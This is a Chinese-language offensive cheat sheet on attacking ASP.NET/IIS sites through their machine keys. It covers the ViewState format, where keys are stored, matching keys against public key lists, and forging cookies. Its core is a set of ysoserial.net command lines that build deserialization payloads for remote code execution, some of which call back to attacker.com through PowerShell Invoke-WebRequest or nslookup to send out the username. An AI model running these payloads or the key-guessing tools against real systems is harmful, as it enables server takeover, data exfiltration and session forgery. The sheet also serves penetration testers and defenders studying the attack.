IIS Machine Keys (IIS 机器密钥)
机器密钥 (Machine Key) 用于表单身份验证 cookie 数据和视图状态 (view-state) 数据的加密与解密,以及进程外会话状态标识的验证。
摘要 (Summary)
- 视图状态格式 (#viewstate-format)
- 机器密钥格式与位置 (#machine-key-format-and-locations)
- 识别已知机器密钥 (#identify-known-machine-key)
- 解码视图状态 (#decode-viewstate)
- 生成用于 RCE 的视图状态 (#generate-viewstate-for-rce)
- 使用机器密钥编辑 Cookie (#edit-cookies-with-the-machine-key)
- 参考资料 (#references)
视图状态格式 (Viewstate Format)
IIS 中的 ViewState 是一种在 ASP.NET 应用程序的后期回传 (postbacks) 之间保留 Web 控件状态的技术。它将数据存储在页面的隐藏字段中,允许页面维护用户输入和其他状态信息。
| 格式 | 属性 |
|---|---|
| Base64 | EnableViewStateMac=False, ViewStateEncryptionMode=False |
| Base64 + MAC | EnableViewStateMac=True |
| Base64 + 加密 | ViewStateEncryptionMode=True |
在 2014 年 9 月之前,enableViewStateMac 属性默认设置为 False。
通常未加密的 viewstate 以字符串 /wEP 开头。
机器密钥格式与位置 (Machine Key Format And Locations)
IIS 中的 machineKey 是 ASP.NET 中的一个配置元素,指定用于加密和验证数据(如视图状态和表单身份验证令牌)的加密密钥和算法。它确保了 Web 应用程序的一致性和安全性,特别是在 Web 场 (web farm) 环境中。
machineKey 的格式如下:
<machineKey validationKey="[字符串]" decryptionKey="[字符串]" validation="[SHA1 (默认) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:算法名称]" decryption="[Auto (默认) | DES | 3DES | AES | alg:算法名称]" />
validationKey 属性指定用于验证数据的十六进制字符串,确保数据未被篡改。
decryptionKey 属性提供用于加密和解密敏感数据的十六进制字符串。
validation 属性定义用于数据验证的算法,选项包括 SHA1、MD5、3DES、AES 和 HMACSHA256 等。
decryption 属性指定加密算法,选项包括 Auto、DES、3DES 和 AES,或者您可以使用 alg:algorithm_name 指定自定义算法。
以下 machineKey 示例来自 Microsoft 文档。
<machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
web.config / machine.config 的常用位置:
- 32位
C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.configC:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config
- 64位
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.configC:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config
- 当启用 AutoGenerate 时在注册表中(使用 irsdl/machineKeyFinder.aspx 提取)
HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey
识别已知机器密钥 (Identify Known Machine Key)
尝试使用来自已知产品、Microsoft 文档或互联网其他地方的多个机器密钥。
-
./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt ____ ____.__ __ .__ __ \ \ / /|__| ______ _ _________/ |______ | | | | __ ___________ \ Y / | |/ __ \ \/ \/ / ___/\ __\__ \ | | | |/ // __ \_ __ \ \ / | \ ___/\ /\___ \ | | / __ \| |_| <\ ___/| | \/ \___/ |__|\___ >\/\_//____ > |__| (____ /____/__|_ \\___ >__| \/ \/ \/ \/ \/ KEY FOUND!!! Host: Validation Key: XXXXX,XXXXX -
python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -r python3 ./crapsecrets/examples/cli.py -u http://update.microsoft.com/ -mrd 5 python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -u http://update.microsoft.com/ python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -u http://192.168.6.22:8080/ python3 ./crapsecrets/examples/cli.py -mrd 5 -avsk -fvsp -mkf ./local/aspnet_machinekeys_local.txt -mkf ./crapsecrets/resources/aspnet_machinekeys.txt -u http://192.168.6.22:8080/a1/b/c1/
值得使用的机器密钥列表:
- NotSoSecure/Blacklist3r/MachineKeys.txt
- isclayton/viewstalker/MachineKeys2.txt
- blacklanternsecurity/badsecrets/aspnet_machinekeys.txt
解码视图状态 (Decode ViewState)
- BApp Store > ViewState Editor - ViewState Editor 是一款扩展插件,允许您查看和编辑 V1.1 和 V2.0 ASP 视图状态数据的结构和内容。
生成用于 RCE 的视图状态 (Generate ViewState For RCE)
首先需要解码 Viewstate 以了解是否启用了 MAC 和加密。
要求 (Requirements):
__VIEWSTATE__VIEWSTATEGENERATOR
MAC 未启用 (MAC Is Not Enabled)
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
MAC 已启用且加密已禁用 (MAC Is Enabled And Encryption Is Disabled)
-
使用
badsecrets、viewstalker、AspDotNetWrapper.exe或viewgen找到机器密钥 (validationkey)AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy # --modifier = `__VIEWSTATEGENERATOR` 参数值 # --encrypteddata = 目标应用程序的 `__VIEWSTATE` 参数值 -
然后使用 pwntester/ysoserial.net 生成 ViewState,可以使用
TextFormattingRunProperties和TypeConfuseDelegate两种 gadgets。.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" # --generator = `__VIEWSTATEGENERATOR` 参数值 # --validationkey = 前一个命令中得到的验证密钥
MAC 已启用且加密已启用 (MAC Is Enabled And Encryption Is Enabled)
默认验证算法为 HMACSHA256,默认解密算法为 AES。
如果缺少 __VIEWSTATEGENERATOR 但应用程序使用的是 .NET Framework 4.0 或更低版本,可以使用应用程序的根路径(例如:--apppath="/testaspx/")。
-
.NET Framework < 4.5,如果您从请求中删除
__VIEWSTATEENCRYPTED参数,ASP.NET 始终接受未加密的__VIEWSTATE.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug -
.NET Framework > 4.5,machineKey 具有属性:
compatibilityMode="Framework45".\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
使用机器密钥编辑 Cookie (Edit Cookies With The Machine Key)
如果您拥有 machineKey 但视图状态被禁用。
ASP.net 表单身份验证 Cookie:liquidsec/aspnetCryptTools
# 解密 cookie
$ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
# 加密 cookie (编辑 Decrypted.txt)
$ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt